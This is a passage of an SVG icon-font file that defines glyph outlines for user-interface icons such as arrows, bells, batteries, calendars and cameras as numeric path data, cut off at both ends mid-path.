17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-384q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-384q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333z" /> <glyph glyph-name="arrow-up-right" unicode="" d="M286.165 97.8347l512 512q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-512 -512q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2402 0 29.6411 11.977z M725.333 256q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v384q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-384q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6639 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013 h341.333z" /> <glyph glyph-name="arrow-up" unicode="" d="M554.667 42.6667v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM737.835 439.168 q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-256 -256q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013q17.2403 0 29.641 11.977l225.835 225.835z" /> <glyph glyph-name="award" unicode="" d="M304.646 283.538q-55.4456 42.419 -94.6861 121.847q-39.2405 79.4285 -39.2405 149.24q0 92.6691 45.6946 171.302q45.6946 78.6324 124.327 124.327q78.6324 45.6946 171.301 45.6946q92.669 0 171.301 -45.6946t124.327 -124.327t45.6946 -171.302 q0 -69.8111 -39.2405 -149.24q-39.2404 -79.4285 -94.6862 -121.847l48.2119 -363.21q0.377441 -2.81851 0.377441 -5.66244q0 -17.6635 -12.501 -30.1644t-30.1644 -12.501q-11.827 0 -21.9661 6.0891l-191.397 114.898l-191.397 -114.813 q-10.1196 -6.05759 -21.9136 -6.05759q-17.6635 0 -30.1644 12.5009q-12.5009 12.501 -12.5009 30.1644q0 2.80611 0.367554 5.58828l48.2119 363.21zM384.644 237.886l-31.9991 -241.059l137.383 82.4295q10.1415 6.09303 21.9727 6.09303q11.8311 0 21.9727 -6.09303 l137.383 -82.4295l-31.9564 241.059q-25.2829 -10.1566 -62.4598 -17.3448q-37.1769 -7.18817 -64.4237 -7.18817l-0.515381 0.00038147l-0.472809 -0.000335693q-27.2467 0 -64.4236 7.18819q-37.1769 7.18817 -62.4606 17.3447zM512 298.685q105.981 0 180.987 75.0058 q75.0057 75.0058 75.0057 180.987q0 105.981 -75.0057 180.987t-180.987 75.0057q-105.981 0 -180.987 -75.0057q-75.0057 -75.0057 -75.0057 -180.987q0 -105.981 75.0057 -180.987q75.0058 -75.0058 180.987 -75.0058z" /> <glyph glyph-name="bar-chart" unicode="" d="M810.667 725.333v-682.667h85.3333v682.667h-85.3333zM768 810.667h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-768q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v768 q0 17.664 12.5013 30.1653t30.1653 12.5013zM469.333 512v-469.333h85.3333v469.333h-85.3333zM426.667 597.333h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-554.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-170.667v0 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v554.667q0 17.664 12.5013 30.1653t30.1654 12.5013zM128 42.6667h85.3333v256h-85.3333v-256zM85.3333 384h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z" /> <glyph glyph-name="at-sign" unicode="" d="M725.333 384v-42.6667q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027t60.3307 25.0027q25.0027 25.0027 25.0027 60.3307v42.6667q-0.0065918 104.249 -51.4169 192.708q-51.4103 88.4586 -139.872 139.863q-88.4619 51.4047 -192.711 51.4047 q-104.256 0 -192.72 -51.408q-88.4642 -51.408 -139.872 -139.872q-51.408 -88.4641 -51.408 -192.72q0 -104.256 51.4079 -192.72q51.4079 -88.464 139.872 -139.872q88.4642 -51.408 192.72 -51.408q53.88 0 122.287 23.1846t111.185 55.9436 q11.4809 8.79147 25.9413 8.79147q17.6649 0 30.1669 -12.502q12.5019 -12.502 12.5019 -30.1668q0 -21.0684 -16.7274 -33.8773q-52.2835 -40.0388 -135.892 -68.3755q-83.6089 -28.3367 -149.462 -28.3367q-95.4329 7.62939e-06 -182.343 37.1879 q-86.9099 37.1879 -149.762 100.04q-62.8524 62.8524 -100.04 149.762t-37.1878 182.343q0 95.4328 37.1879 182.343q37.1879 86.91 100.04 149.762q62.8524 62.8525 149.762 100.04q86.91 37.1879 182.343 37.1879q95.4269 0 182.334 -37.1855 q86.9068 -37.1855 149.759 -100.034q62.8524 -62.8485 100.043 -149.753q37.191 -86.9045 37.197 -182.331v-42.6667v-0.00665283q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053q-36.4584 0 -77.2128 21.0292q-40.7543 21.0292 -61.8806 50.7428 q-26.3547 -29.7021 -73.1097 -50.7232q-46.7549 -21.0211 -86.4636 -21.0211q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3203 0 150.827 -62.5067t62.5067 -150.827zM512 256 q52.992 0 90.496 37.504t37.504 90.496t-37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" /> <glyph glyph-name="bar-chart-" unicode="" d="M469.333 725.333v-682.667h85.3333v682.667h-85.3333zM426.667 810.667h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-768q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1654 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v768 q0 17.664 12.5013 30.1653t30.1654 12.5013zM810.667 512v-469.333h85.3333v469.333h-85.3333zM768 597.333h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-554.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v554.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM128 42.6667h85.3333v256h-85.3333v-256zM85.3333 384h170.667v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v341.333q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013z" /> <glyph glyph-name="battery-charging" unicode="" d="M213.333 170.667h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v341.333q0 17.664 12.5013 30.1653t30.1653 12.5013h136.107q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-136.107q-52.992 0 -90.496 -37.504 t-37.504 -90.496v-341.333q0 -52.992 37.504 -90.496t90.496 -37.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5018zM640 597.333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653 t-30.1653 -12.5013h-136.107q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h136.107q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v341.333q0 52.9921 -37.504 90.496t-90.496 37.504h-85.3333q-17.664 0 -30.1653 -12.5013 t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5018zM1024 341.333v85.3333q-0.00274658 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-85.3333q0.00280762 -17.6613 12.5041 -30.1607 q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995q12.5013 12.4994 12.504 30.1606zM348.501 151.68q-7.17331 -10.7536 -7.17331 -23.68q0 -17.6662 12.5029 -30.1691t30.1691 -12.5029q9.45151 0 19.8526 5.56464t15.6461 13.4273l170.667 256 q7.17438 10.7532 7.17438 23.68q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-0.00634766h-176.256l126.421 189.653q7.17334 10.7535 7.17334 23.68q0 17.6662 -12.5029 30.1691t-30.1691 12.5029q-9.45157 0 -19.8526 -5.56464t-15.6461 -13.4274l-170.667 -256 q-7.17438 -10.7531 -7.17438 -23.68q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h0.00637817h176.256z" /> <glyph glyph-name="bell-off" unicode="" d="M386.503 734.704q24.2355 13.6781 61.083 23.3583t64.6765 9.68018q105.93 0 180.899 -74.9695t74.9695 -180.899l-6.10352e-05 -0.201935v-170.579q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949t30.1498 12.4949q12.495 12.4949 12.495 30.1499v170.579v0.103027 q0 92.6244 -45.6725 171.219q-45.6725 78.5944 -124.267 124.267q-78.5945 45.6726 -171.219 45.6725q-37.0944 0 -86.2119 -12.9q-49.1176 -12.8999 -81.4248 -31.1272q-9.67725 -4.90186 -16.5261 -16.0483q-6.84885 -11.1465 -6.84885 -21.9944 q0 -17.655 12.4949 -30.1499t30.1499 -12.4949q12.2341 0 22.608 6.48505zM256.394 298.448v213.224l-0.000213623 0.319336q0 25.7414 8.35916 60.1463q8.35916 34.4048 20.1704 57.2766q4.76233 9.21893 4.76233 19.5953q0 17.6757 -12.5096 30.1853t-30.1853 12.5096 q-10.7639 0 -21.8781 -6.76819t-16.0544 -16.3314q-15.7131 -30.4649 -26.8337 -76.2859q-11.1207 -45.8209 -11.1207 -80.0994l0.00050354 -0.590179v-213.181q0 -35.3099 -24.9899 -60.2997q-24.9899 -24.9899 -60.2997 -24.9899q-26.8437 0 -37.897 -21.3224 t-7.62939e-06 -42.6448q11.0533 -21.3224 37.897 -21.3224h639.672q17.6549 0 30.1498 12.4949t12.4949 30.1499t-12.4949 30.1499t-30.1498 12.4949h-491.908q22.815 39.4564 22.8152 85.2893zM549.151 21.3421q-5.10254 -8.79616 -15.9106 -15.0215 q-10.8082 -6.22534 -20.9771 -6.22534q-10.169 0 -20.9771 6.22532q-10.8081 6.22531 -15.9106 15.0215q-5.1037 8.79417 -15.9118 15.0181q-10.8081 6.22391 -20.976 6.22392q-17.657 0 -30.1533 -12.4964t-12.4963 -30.1533q0 -11.4792 5.76193 -21.4077 q15.3076 -26.3886 47.7319 -45.0645q32.4243 -18.676 62.9314 -18.676q30.507 0 62.9313 18.676t47.7319 45.0645q5.7619 9.92851 5.7619 21.4077q0 17.657 -12.4963 30.1533t-30.1533 12.4963q-10.1678 0 -20.9759 -6.22391q-10.8082 -6.22391 -15.912 -15.018z M13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499 q0 -18.0996 13.0188 -30.6738z" /> <glyph glyph-name="battery" unicode="" d="M85.3342 554.283v-340.565q0 -17.8071 12.4663 -30.4289t29.987 -12.6218h597.76q17.5599 0 30.0067 12.5934q12.4467 12.5934 12.4467 30.4572v340.523q0 17.8358 -12.4647 30.4645t-29.9886 12.6288h-597.76q-17.56 0 -30.0066 -12.5934 q-12.4467 -12.5934 -12.4468 -30.4578zM0.000856369 554.283l-0.000455675 0.341614q0 52.904 37.4416 90.4204q37.4416 37.5164 90.3455 37.622h597.76q52.9038 -0.158447 90.3453 -37.7123q37.4415 -37.5538 37.4415 -90.4578l-0.000183105 -0.213928v-340.565 l0.000427246 -0.341568q0 -52.904 -37.4416 -90.4204q-37.4416 -37.5164 -90.3455 -37.622h-597.76q-52.9038 0.158432 -90.3453 37.7123q-37.4415 37.5538 -37.4415 90.4578l0.000178494 0.213898v340.523zM1024 341.333v85.3333q-0.00274658 17.6613 -12.504 30.1607 q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-85.3333q0.00280762 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995q12.5013 12.4994 12.504 30.1606z" /> <glyph glyph-name="bluetooth" unicode="" d="M554.66 17.7251l131.649 131.649l-131.649 131.649v-263.298zM686.309 618.635l-131.649 131.649v-263.298zM247.209 588.474q-11.9752 12.3987 -11.9752 29.6365q0 17.6613 12.4994 30.1606q12.4994 12.4994 30.1607 12.4994q17.2377 0 29.6365 -11.9752 l469.261 -469.261q12.4903 -12.4941 12.4903 -30.1607q0 -17.6666 -12.4903 -30.1607l-234.63 -234.63q-20.1569 -20.1573 -46.4888 -9.2519t-26.3319 39.4126v938.522q0 28.4818 26.3319 39.3965q26.3319 10.9147 46.4888 -9.2359l234.63 -234.63 q12.4903 -12.4941 12.4903 -30.1606q0 -17.6666 -12.4903 -30.1607l-469.261 -469.261q-12.5786 -13.0236 -30.6849 -13.0236q-17.6613 0 -30.1607 12.4994q-12.4994 12.4994 -12.4994 30.1607q0 18.1062 13.0236 30.6849l307.451 307.451v-205.963z" /> <glyph glyph-name="bell" unicode="" d="M768 298.667v213.333q0 106 -75 181t-181 75t-181 -75t-75 -181v-213.333q0 -45.8566 -22.8267 -85.3333h557.653q-9.45038 16.3397 -16.1387 41.2627q-6.68823 24.923 -6.68823 43.7987zM938.667 128h-853.333q-26.8575 0 -37.9164 21.3333q-11.059 21.3333 0 42.6667 q11.059 21.3333 37.9164 21.3333v0q35.328 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307v213.333q0 92.6718 45.696 171.307q45.696 78.6348 124.331 124.331q78.6348 45.696 171.307 45.696q92.6718 0 171.307 -45.696q78.6348 -45.6959 124.331 -124.331 q45.696 -78.6348 45.696 -171.307v-213.333q0 -35.3281 25.0026 -60.3307t60.3307 -25.0026q26.8575 0 37.9164 -21.3333q11.059 -21.3333 0 -42.6667q-11.059 -21.3333 -37.9181 -21.3334zM548.907 21.4187q-5.10504 -8.80073 -15.9188 -15.0292 q-10.8137 -6.2285 -20.9879 -6.2285t-20.9879 6.22851t-15.9188 15.0292q-5.10635 8.79868 -15.92 15.0258q-10.8136 6.2271 -20.9867 6.2271q-17.666 0 -30.1688 -12.5028q-12.5027 -12.5028 -12.5027 -30.1688q0 -11.4851 5.76489 -21.4187 q15.3155 -26.4021 47.7563 -45.0877q32.4409 -18.6855 62.9636 -18.6855q30.5226 0 62.9636 18.6855q32.441 18.6855 47.7564 45.0877q5.76489 9.93337 5.76489 21.4187q0 17.666 -12.5027 30.1688q-12.5028 12.5028 -30.1688 12.5028q-10.173 0 -20.9867 -6.22711 q-10.8137 -6.22711 -15.9199 -15.0258z" /> <glyph glyph-name="book" unicode="" d="M853.333 853.333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-853.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-576v0q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7546 105.579v640q0 61.824 43.7547 105.579q43.7547 43.7546 105.579 43.7546z M810.667 213.333v554.667h-533.333v0q-26.496 0 -45.248 -18.752t-18.752 -45.248v-505.045q30.2801 14.3788 63.8008 14.3788l0.199219 -0.000137329zM810.667 128h-533.333q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752h533.333v128z" /> <glyph glyph-name="briefcase" unicode="" d="M298.667 640v42.6667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h170.667q52.9921 0 90.496 -37.504t37.504 -90.496v-42.6667h128.427q52.8156 -0.140747 90.1947 -37.6196t37.3791 -90.2946l-0.000488281 -0.341827v-426.155l6.10352e-05 -0.129181 q0 -52.8158 -37.379 -90.357q-37.379 -37.5412 -90.1943 -37.7698h-683.52q-52.8156 0.140743 -90.1947 37.6196q-37.3791 37.4789 -37.3791 90.2946l0.000457764 0.341789v426.155l-6.48499e-05 0.129211q0 52.8159 37.379 90.357q37.379 37.5412 90.1944 37.7698z M298.667 554.667h-128.427q-17.3182 0 -29.7791 -12.6166q-12.4609 -12.6167 -12.4609 -30.3061v-426.155l-0.00138092 -0.342674q0 -17.4885 12.3767 -29.9644t29.8647 -12.6156h128.427v512zM384 554.667v-512h256v512h-256zM725.333 554.667v-512h128.427 q17.3182 0 29.7791 12.6167q12.4609 12.6167 12.4609 30.306v426.155l0.00140381 0.342712q0 17.4886 -12.3767 29.9645t-29.8647 12.6155zM384 640h256v42.6667q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-170.667v0q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653z " /> <glyph glyph-name="camera-off" unicode="" d="M682.885 273.415l328.621 -328.621q11.9709 -12.3944 11.9709 -29.6259q0 -17.6549 -12.4949 -30.1499t-30.1498 -12.4949q-17.2314 0 -29.6259 11.9709l-72.7947 72.7947h-749.951q-52.9648 0 -90.4496 37.4848q-37.4848 37.4848 -37.4848 90.4496v469.093 q0 52.9648 37.4848 90.4496q37.4848 37.4847 90.4496 37.4847h24.9899l-140.429 140.429q-13.0186 12.5742 -13.0186 30.6736q0 17.6549 12.4949 30.1498q12.4949 12.4949 30.1499 12.4949q18.0995 0 30.6736 -13.0186l371.266 -371.266l1.1514 -1.10876l236.039 -236.039z M654.014 181.729q-25.1688 -22.6226 -66.9322 -38.6333t-75.6049 -16.0107q-88.2747 0 -150.749 62.4746t-62.4746 150.749q0 33.8272 15.9988 75.5775t38.6047 66.9148l-114.117 114.16h-110.279q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1498 v-469.093q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949h664.662l-139.107 139.107zM593.544 242.157l-180.217 180.217q-12.3462 -14.7534 -21.0838 -38.8099q-8.7377 -24.0565 -8.7377 -43.2942q0 -52.9648 37.4848 -90.4496 q37.4848 -37.4848 90.4496 -37.4848q19.2376 0 43.2942 8.73773t38.8099 21.0838zM690.006 615.938q5.2417 -7.85645 15.6356 -13.4167t19.8384 -5.56024h0.00640869h170.579v0q17.6549 0 30.1498 -12.4949t12.4949 -30.1498v-398.302q0 -17.6549 12.4949 -30.1499 q12.4949 -12.4949 30.1498 -12.4949t30.1499 12.4949t12.4949 30.1499v398.302q0 52.9649 -37.4847 90.4496t-90.4496 37.4847h-147.764l-72.6241 108.957q-5.2417 7.85638 -15.6356 13.4167q-10.3939 5.56024 -19.8385 5.56024h-0.00634766h-255.869 q-17.6549 0 -30.1499 -12.4949t-12.4949 -30.1498q0 -17.655 12.4949 -30.1499t30.1499 -12.4949h233.054z" /> <glyph glyph-name="calendar" unicode="" d="M384 768h256v42.6667q0.00268555 17.6613 12.504 30.1607q12.5013 12.4995 30.1627 12.4995q17.6613 0 30.1625 -12.4995q12.5013 -12.4995 12.5041 -30.1607v-42.6667h85.5467q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76q0 -52.9037 -37.4415 -90.3452 q-37.4415 -37.4415 -90.3452 -37.4415h-597.76q-52.9037 7.62939e-06 -90.3452 37.4415q-37.4415 37.4415 -37.4415 90.3452v597.76v0q0 52.9037 37.4415 90.3452t90.3452 37.4415h85.5467v42.6667v0.00653076q0 17.6641 12.5013 30.1654t30.1653 12.5013t30.1653 -12.5013 t12.5013 -30.1653v-0.00653076zM853.333 426.667h-682.667v-384.213q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0266 12.4267q12.4267 12.4267 12.4267 30.0267zM384 682.667v-42.6667v-0.00653076q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013 t-30.1653 12.5013t-12.5013 30.1653v0.00653076v42.6667h-85.5467q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-128.213h682.667v128.213v0q0 17.5756 -12.4388 30.0145t-30.0145 12.4389h-85.5467v-42.6667q-0.00262451 -17.6613 -12.504 -30.1607 q-12.5014 -12.4995 -30.1627 -12.4995t-30.1626 12.4994q-12.5013 12.4995 -12.504 30.1608v42.6667z" /> <glyph glyph-name="bookmark" unicode="" d="M768 82.9013v599.765q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-426.667q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-599.765l231.211 165.12q11.1231 7.94011 24.7893 7.94011q13.6661 0 24.7893 -7.94011l231.211 -165.077z M238.123 -34.7307q-11.123 -7.94011 -24.7893 -7.94011q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.00411371v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h426.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-682.667v-0.00411473 q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-13.6663 0 -24.7893 7.94011l-273.877 195.627z" /> <glyph glyph-name="box" unicode="" d="M568.96 872.363l341.333 -170.667q29.4041 -14.6111 50.2188 -48.1898q20.8147 -33.5787 20.8212 -66.4129v-406.613q-0.0174561 -32.7947 -20.8072 -66.3483q-20.7897 -33.5536 -50.1475 -48.1691l-341.333 -170.667q-27.0328 -13.521 -57.2587 -13.521 q-30.2257 0 -57.2587 13.521l-341.461 170.709q-29.1463 14.6639 -49.7741 48.1331t-20.6277 66.0965q0 0.336395 0.0017662 0.671646v406.187q0.0174561 32.7947 20.8072 66.3483q20.7897 33.5536 50.1475 48.169l341.419 170.752q26.9103 13.3721 56.96 13.3721 t56.9594 -13.3716zM512 474.368l331.051 165.547l-312.107 156.032q-8.94257 4.43054 -18.9227 4.43054t-18.9227 -4.43054l-312.149 -155.989zM896 570.965l-341.333 -170.667v-416.811l317.653 158.848q9.7868 4.86314 16.7251 16.0393q6.93829 11.1762 6.9549 22.1047 v390.486zM469.333 -16.7253v417.024l-341.333 170.667v-390.357q-0.209038 -26.4787 23.3387 -38.3573z" /> <glyph glyph-name="camera" unicode="" d="M334.165 616.32q-5.24442 -7.86047 -15.6436 -13.4236t-19.8486 -5.56311h-0.00640869h-170.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-469.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h768q17.664 0 30.1653 12.5013 q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-170.667h-0.00640869q-9.4494 0 -19.8486 5.56311t-15.6436 13.4236l-72.6613 109.013h-210.347zM896 682.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333 q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-768q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v469.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h147.84l72.6613 109.013q5.24438 7.86047 15.6436 13.4236t19.8486 5.56311 h0.00637817h256h0.00640869q9.4494 0 19.8487 -5.56311q10.3992 -5.56311 15.6436 -13.4236l72.6613 -109.013h147.84zM512 128q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067 q88.3201 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827q0 -88.32 -62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067zM512 213.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496t-37.504 90.496q-37.504 37.504 -90.496 37.504 q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" /> <glyph glyph-name="check-circle" unicode="" d="M896 423.68v-39.68q-0.071167 -104.185 -51.5044 -192.588q-51.4332 -88.4038 -139.872 -139.777q-88.4388 -51.3728 -192.623 -51.3728q-104.256 0 -192.72 51.4079q-88.464 51.4079 -139.872 139.872q-51.4079 88.4642 -51.4079 192.72q0 104.256 51.4079 192.72 q51.4079 88.4641 139.872 139.872q88.4641 51.4079 192.72 51.408q33.8154 0 79.6076 -9.74036q45.7922 -9.7403 76.6804 -23.5032q8.75024 -4.19781 18.4551 -4.19781q17.664 0 30.1653 12.5013t12.5013 30.1653q0 11.8196 -7.7326 23.3757t-18.6585 16.0648 q-37.752 16.8212 -93.7204 28.7261q-55.9684 11.9049 -97.2982 11.9049q-95.4329 0 -182.343 -37.1879q-86.9099 -37.1878 -149.762 -100.04q-62.8525 -62.8525 -100.04 -149.762q-37.1878 -86.9099 -37.1878 -182.343q0 -95.4329 37.1879 -182.343 q37.1879 -86.9099 100.04 -149.762q62.8524 -62.8524 149.762 -100.04q86.9099 -37.1879 182.343 -37.1879q95.387 0 182.273 37.17t149.738 99.9922q62.8524 62.8222 100.064 149.69q37.2116 86.8678 37.2576 182.255v39.7227q-0.00268555 17.6613 -12.504 30.1607 t-30.1627 12.4994t-30.1626 -12.4994q-12.5012 -12.4995 -12.504 -30.1607zM414.165 456.832q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l128 -128q12.4961 -12.4922 30.1653 -12.4922 q17.6694 0 30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-439.168 -439.168z" /> <glyph glyph-name="check" unicode="" d="M200.832 371.499q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896 q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-439.168 -439.168z" /> <glyph glyph-name="check-square" unicode="" d="M371.499 456.832q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013q-12.5014 -12.5013 -12.5014 -30.1653q0 -17.2403 11.9771 -29.641l128 -128q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896 q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-439.168 -439.168zM810.667 384v-298.667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333 q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h469.333q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6641 -12.5013 30.1653t-30.1653 12.5013h-469.333q-52.992 0 -90.496 -37.504q-37.504 -37.504 -37.504 -90.496v-597.333q0 -52.992 37.504 -90.496 q37.504 -37.504 90.496 -37.504h597.333q52.9919 0 90.496 37.504q37.5041 37.504 37.504 90.496v298.667q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1604z" /> <glyph glyph-name="cast" unicode="" d="M76.8 167.253q45.7759 -9.33572 84.7801 -48.3399q39.0042 -39.0042 48.3399 -84.7801q2.88464 -14.1347 15.136 -24.1383q12.2513 -10.0036 26.6774 -10.0036q17.6675 0 30.1714 12.5038q12.5038 12.5038 12.5038 30.1714q0 4.31031 -0.861877 8.53333 q-14.0036 68.6639 -72.5098 127.17q-58.5062 58.5063 -127.17 72.5098q-4.22308 0.861862 -8.53333 0.861862q-17.6675 0 -30.1714 -12.5038t-12.5038 -30.1714q0 -14.4261 10.0036 -26.6774t24.138 -15.1357zM80.64 339.456q112.327 -12.5032 200.661 -100.85 q88.3345 -88.3469 100.822 -200.675q1.75394 -15.7064 14.1803 -26.8224q12.4263 -11.1159 28.2304 -11.1159q17.6671 0 30.1707 12.5036q12.5036 12.5036 12.5036 30.1707q0 2.37547 -0.263641 4.736q-10.2436 92.0775 -64.3387 175.259q-54.0951 83.1815 -137.277 137.277 t-175.259 64.3387q-2.36087 0.263611 -4.736 0.263611q-17.6671 0 -30.1707 -12.5036q-12.5036 -12.5035 -12.5036 -30.1707q0 -15.8041 11.1159 -28.2304t26.8224 -14.1802zM128 554.667v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013h682.667 q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-512q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-256q-17.6613 -0.00269318 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626q12.4995 -12.5013 30.1607 -12.504h256q52.992 0 90.496 37.504 q37.504 37.504 37.504 90.496v512q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504h-682.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 